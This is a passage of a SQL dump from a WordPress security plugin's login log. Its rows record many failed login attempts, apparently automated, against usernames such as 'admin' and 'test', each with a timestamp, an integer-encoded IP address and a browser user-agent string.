(100286, 1495768984.075559, 1, 'loginFailValidUsername', 'admin', 1, 1828828346, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100285, 1495768502.364884, 1, 'loginFailValidUsername', 'admin', 1, 1534992972, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100284, 1495748307.344638, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/532.87.24 (KHTML, like Gecko) Chrome/56.2.7516.1244 Safari/532.16 OPR/42.1.5794.0521'),
(100283, 1495720449.377098, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/533.92.49 (KHTML, like Gecko) Version/5.4.9 Safari/531.84'),
(100282, 1495688389.872270, 1, 'loginFailValidUsername', 'admin', 1, 3497110456, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100281, 1495687824.927569, 1, 'loginFailInvalidUsername', 'notre', 0, 1760853483, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100280, 1495623875.847499, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1600667046, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100279, 1495587211.376664, 1, 'loginFailInvalidUsername', 'notre', 0, 3242600154, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100278, 1495586644.606421, 1, 'loginFailInvalidUsername', 'outils', 0, 3590043248, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100277, 1495586186.837136, 1, 'loginFailValidUsername', 'admin', 1, 3497113622, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100276, 1495585685.691431, 1, 'loginFailInvalidUsername', 'notre', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100275, 1495584571.974848, 1, 'loginFailInvalidUsername', 'outils', 0, 842969123, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100274, 1495584094.377546, 1, 'loginFailValidUsername', 'admin', 1, 3497113622, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100273, 1495583530.291845, 1, 'loginFailInvalidUsername', 'notre', 0, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100272, 1495583194.834223, 1, 'loginFailInvalidUsername', 'outils', 0, 842965149, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100271, 1495582480.402686, 1, 'loginFailValidUsername', 'admin', 1, 3163163411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
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(99155, 1492552883.863416, 1, 'loginFailValidUsername', 'julie', 2, 3357381436, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(99154, 1492547128.776596, 1, 'loginFailInvalidUsername', 'test', 0, 1502215624, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99153, 1492545889.072292, 1, 'loginFailInvalidUsername', 'test', 0, 1549374632, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99152, 1492545888.165373, 1, 'loginFailInvalidUsername', 'test', 0, 1549374632, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99151, 1492544560.969375, 1, 'loginFailInvalidUsername', 'test', 0, 3125718184, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99150, 1492544558.925440, 1, 'loginFailInvalidUsername', 'test', 0, 3125718184, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99149, 1492542778.947516, 1, 'loginFailInvalidUsername', 'test', 0, 1517306635, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99148, 1492539708.064405, 1, 'loginFailInvalidUsername', 'test', 0, 3562313397, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99147, 1492539707.096774, 1, 'loginFailInvalidUsername', 'test', 0, 3562313397, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99146, 1492539221.092013, 1, 'loginFailInvalidUsername', 'test', 0, 1239757070, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99145, 1492539219.863786, 1, 'loginFailInvalidUsername', 'test', 0, 1239757070, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99144, 1492535520.711749, 1, 'loginFailInvalidUsername', 'test', 0, 2107874202, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99143, 1492535519.003612, 1, 'loginFailInvalidUsername', 'test', 0, 2107874202, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99142, 1492532209.085579, 1, 'loginFailInvalidUsername', 'test', 0, 403351805, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99141, 1492532207.498185, 1, 'loginFailInvalidUsername', 'test', 0, 403351805, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99140, 1492531287.689916, 1, 'loginFailInvalidUsername', 'test', 0, 1451447487, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99139, 1492531286.689239, 1, 'loginFailInvalidUsername', 'test', 0, 1451447487, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99138, 1492530857.396287, 1, 'loginFailInvalidUsername', 'test', 0, 1768719138, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99137, 1492530855.942459, 1, 'loginFailInvalidUsername', 'test', 0, 1768719138, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99136, 1492530368.461646, 1, 'loginFailInvalidUsername', 'test', 0, 1486037620, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99135, 1492530367.418167, 1, 'loginFailInvalidUsername', 'test', 0, 1486037620, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99134, 1492529849.793484, 1, 'loginFailInvalidUsername', 'test', 0, 1489990836, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99133, 1492529848.136261, 1, 'loginFailInvalidUsername', 'test', 0, 1489990836, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99132, 1492527552.574550, 1, 'loginFailInvalidUsername', 'test', 0, 1497816116, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99131, 1492527551.592321, 1, 'loginFailInvalidUsername', 'test', 0, 1497816116, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99130, 1492522130.593612, 1, 'loginFailInvalidUsername', 'test', 0, 2092795747, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99129, 1492522128.426983, 1, 'loginFailInvalidUsername', 'test', 0, 2092795747, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99128, 1492522062.306191, 1, 'loginFailInvalidUsername', 'test', 0, 3136602829, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99127, 1492522060.229487, 1, 'loginFailInvalidUsername', 'test', 0, 3136602829, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99126, 1492522029.704479, 1, 'loginFailInvalidUsername', 'test', 0, 1380787961, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99125, 1492519603.776930, 1, 'loginFailInvalidUsername', 'test', 0, 1309739612, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99124, 1492519602.782323, 1, 'loginFailInvalidUsername', 'test', 0, 1309739612, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99123, 1492516917.809426, 1, 'loginFailInvalidUsername', 'test', 0, 2016972209, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99121, 1492516701.068504, 1, 'loginFailInvalidUsername', 'test', 0, 34273040, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99120, 1492516700.049807, 1, 'loginFailInvalidUsername', 'test', 0, 34273040, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99119, 1492515659.237410, 1, 'loginFailInvalidUsername', 'test', 0, 2630122612, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99118, 1492515658.082606, 1, 'loginFailInvalidUsername', 'test', 0, 2630122612, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99117, 1492513597.315137, 1, 'loginFailInvalidUsername', 'test', 0, 2545299691, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99116, 1492513596.236424, 1, 'loginFailInvalidUsername', 'test', 0, 2545299691, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99115, 1492512325.945787, 1, 'loginFailInvalidUsername', 'test', 0, 1590215498, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99114, 1492512324.723103, 1, 'loginFailInvalidUsername', 'test', 0, 1590215498, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99113, 1492511910.365321, 1, 'loginFailInvalidUsername', 'test', 0, 2177341263, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99112, 1492511909.372978, 1, 'loginFailInvalidUsername', 'test', 0, 2177341263, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99111, 1492510036.190102, 1, 'loginFailInvalidUsername', 'test', 0, 2076790141, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99110, 1492510034.743730, 1, 'loginFailInvalidUsername', 'test', 0, 2076790141, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99109, 1492509217.386934, 1, 'loginFailInvalidUsername', 'test', 0, 3134553032, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99108, 1492509215.594833, 1, 'loginFailInvalidUsername', 'test', 0, 3134553032, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99107, 1492508703.398315, 1, 'loginFailInvalidUsername', 'test', 0, 608327268, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99106, 1492508701.503904, 1, 'loginFailInvalidUsername', 'test', 0, 608327268, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99105, 1492507176.146862, 1, 'loginFailInvalidUsername', 'test', 0, 703648184, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99102, 1492505475.473139, 1, 'loginFailInvalidUsername', 'test', 0, 3648684353, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99101, 1492501644.182625, 1, 'loginFailInvalidUsername', 'test', 0, 2047013389, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99100, 1492501642.544780, 1, 'loginFailInvalidUsername', 'test', 0, 2047013389, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99099, 1492500592.336273, 1, 'loginFailInvalidUsername', 'test', 0, 36865490, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99098, 1492500591.202169, 1, 'loginFailInvalidUsername', 'test', 0, 36865490, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99097, 1492500055.658160, 1, 'loginFailInvalidUsername', 'test', 0, 831606952, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99096, 1492500053.847071, 1, 'loginFailInvalidUsername', 'test', 0, 831606952, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99095, 1492498022.173032, 1, 'loginFailInvalidUsername', 'test', 0, 2047060457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99094, 1492498020.280174, 1, 'loginFailInvalidUsername', 'test', 0, 2047060457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99093, 1492485165.548061, 1, 'loginFailInvalidUsername', 'test', 0, 2630018511, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99092, 1492485164.332387, 1, 'loginFailInvalidUsername', 'test', 0, 2630018511, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99091, 1492483806.887193, 1, 'loginFailInvalidUsername', 'test', 0, 2082369434, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99090, 1492483805.619584, 1, 'loginFailInvalidUsername', 'test', 0, 2082369434, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99089, 1492482546.793912, 1, 'loginFailInvalidUsername', 'test', 0, 1825994579, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(99088, 1492482316.385949, 1, 'loginFailInvalidUsername', 'test', 0, 1269756669, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99087, 1492482125.511247, 1, 'loginFailInvalidUsername', 'test', 0, 3173368969, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99086, 1492474279.039241, 1, 'loginFailInvalidUsername', 'test', 0, 2077463425, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99085, 1492473599.070357, 1, 'loginFailInvalidUsername', 'test', 0, 1844610345, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99084, 1492473597.859916, 1, 'loginFailInvalidUsername', 'test', 0, 1844610345, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99083, 1492472107.894271, 1, 'loginFailInvalidUsername', 'test', 0, 3149155376, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99082, 1492472105.658336, 1, 'loginFailInvalidUsername', 'test', 0, 3149155376, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99081, 1492470070.023897, 1, 'loginFailInvalidUsername', 'test', 0, 1336437487, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99080, 1492470068.998546, 1, 'loginFailInvalidUsername', 'test', 0, 1336437487, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99079, 1492465942.123583, 1, 'loginFailInvalidUsername', 'test', 0, 2012678856, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/71FA'),
(99078, 1492465939.882075, 1, 'loginFailInvalidUsername', 'test', 0, 2012678856, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/71FA'),
(99076, 1492465797.975557, 1, 'loginFailInvalidUsername', 'test', 0, 1501255243, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99077, 1492465799.096078, 1, 'loginFailInvalidUsername', 'test', 0, 1501255243, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99075, 1492465225.323388, 1, 'loginFailInvalidUsername', 'test', 0, 623870041, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99074, 1492465224.186143, 1, 'loginFailInvalidUsername', 'test', 0, 623870041, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99073, 1492464311.421841, 1, 'loginFailInvalidUsername', 'test', 0, 3159789393, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99071, 1492462553.629508, 1, 'loginFailInvalidUsername', 'test', 0, 3419821096, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99072, 1492464310.353534, 1, 'loginFailInvalidUsername', 'test', 0, 3159789393, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99070, 1492462552.096937, 1, 'loginFailInvalidUsername', 'test', 0, 3419821096, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99069, 1492461969.772244, 1, 'loginFailInvalidUsername', 'test', 0, 39334595, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99068, 1492461968.685678, 1, 'loginFailInvalidUsername', 'test', 0, 39334595, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99067, 1492458376.782817, 1, 'loginFailInvalidUsername', 'test', 0, 778261762, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99066, 1492458375.729174, 1, 'loginFailInvalidUsername', 'test', 0, 778261762, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99065, 1492458247.087990, 1, 'loginFailInvalidUsername', 'test', 0, 3574689614, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99064, 1492458246.128961, 1, 'loginFailInvalidUsername', 'test', 0, 3574689614, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99063, 1492456971.758008, 1, 'loginFailInvalidUsername', 'test', 0, 1979102065, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99062, 1492456969.289684, 1, 'loginFailInvalidUsername', 'test', 0, 1979102065, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99061, 1492456156.530750, 1, 'loginFailInvalidUsername', 'test', 0, 1659124010, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99060, 1492454875.803320, 1, 'loginFailInvalidUsername', 'test', 0, 1547635932, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99059, 1492454874.729340, 1, 'loginFailInvalidUsername', 'test', 0, 1547635932, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99058, 1492454172.231823, 1, 'loginFailInvalidUsername', 'test', 0, 1405594119, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99057, 1492454171.309568, 1, 'loginFailInvalidUsername', 'test', 0, 1405594119, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99056, 1492451419.804913, 1, 'loginFailInvalidUsername', 'test', 0, 3536059489, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99055, 1492451418.110265, 1, 'loginFailInvalidUsername', 'test', 0, 3536059489, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99054, 1492449250.283931, 1, 'loginFailInvalidUsername', 'test', 0, 3016151415, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99053, 1492449248.233563, 1, 'loginFailInvalidUsername', 'test', 0, 3016151415, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99052, 1492449038.649001, 1, 'loginFailInvalidUsername', 'test', 0, 1589497003, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99051, 1492449037.461825, 1, 'loginFailInvalidUsername', 'test', 0, 1589497003, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99050, 1492448046.359765, 1, 'loginFailInvalidUsername', 'test', 0, 1392362811, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99049, 1492448045.430555, 1, 'loginFailInvalidUsername', 'test', 0, 1392362811, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99048, 1492447409.734878, 1, 'loginFailInvalidUsername', 'test', 0, 1379084173, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99047, 1492447407.986764, 1, 'loginFailInvalidUsername', 'test', 0, 1379084173, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99046, 1492444859.475864, 1, 'loginFailInvalidUsername', 'test', 0, 1605635691, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99045, 1492444647.752180, 1, 'loginFailInvalidUsername', 'test', 0, 1552930855, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99044, 1492444646.766899, 1, 'loginFailInvalidUsername', 'test', 0, 1552930855, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(98813, 1492205910.471992, 1, 'loginFailInvalidUsername', 'test', 0, 3202927877, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98812, 1492205909.197366, 1, 'loginFailInvalidUsername', 'test', 0, 3202927877, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98811, 1492202027.535322, 1, 'loginFailInvalidUsername', 'test', 0, 3375320393, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98810, 1492202026.036576, 1, 'loginFailInvalidUsername', 'test', 0, 3375320393, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98809, 1492201666.252201, 1, 'loginFailInvalidUsername', 'test', 0, 1295372723, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98808, 1492200267.266750, 1, 'loginFailInvalidUsername', 'test', 0, 1380764866, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(98799, 1492189305.365727, 1, 'loginFailInvalidUsername', 'test', 0, 831866499, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98798, 1492189288.288678, 1, 'loginFailInvalidUsername', 'test', 0, 1976279672, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98797, 1492189286.504656, 1, 'loginFailInvalidUsername', 'test', 0, 1976279672, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98796, 1492185839.281331, 1, 'loginFailInvalidUsername', 'test', 0, 1781731329, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98795, 1492181889.798329, 1, 'loginFailInvalidUsername', 'test', 0, 2006575746, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98794, 1492181888.476784, 1, 'loginFailInvalidUsername', 'test', 0, 2006575746, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98793, 1492180363.396289, 1, 'loginFailInvalidUsername', 'test', 0, 1333705792, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98792, 1492170952.315249, 1, 'loginFailInvalidUsername', 'test', 0, 2030499101, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98791, 1492170950.669060, 1, 'loginFailInvalidUsername', 'test', 0, 2030499101, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98790, 1492170565.990585, 1, 'loginFailInvalidUsername', 'test', 0, 2057623110, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98789, 1492170564.631821, 1, 'loginFailInvalidUsername', 'test', 0, 2057623110, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98788, 1492167562.659095, 1, 'loginFailValidUsername', 'admin', 1, 633041094, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(98787, 1492167561.961929, 1, 'loginFailValidUsername', 'pablo', 3, 633041094, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(98786, 1492167561.306965, 1, 'loginFailInvalidUsername', 'julie pierrard', 0, 633041094, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(98785, 1492167560.664184, 1, 'loginFailValidUsername', 'julie', 2, 633041094, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
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(98782, 1492167413.997964, 1, 'loginFailInvalidUsername', 'test', 0, 1039602305, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98781, 1492164582.532646, 1, 'loginFailInvalidUsername', 'test', 0, 1312794843, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98780, 1492160412.874154, 1, 'loginFailInvalidUsername', 'test', 0, 783306918, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
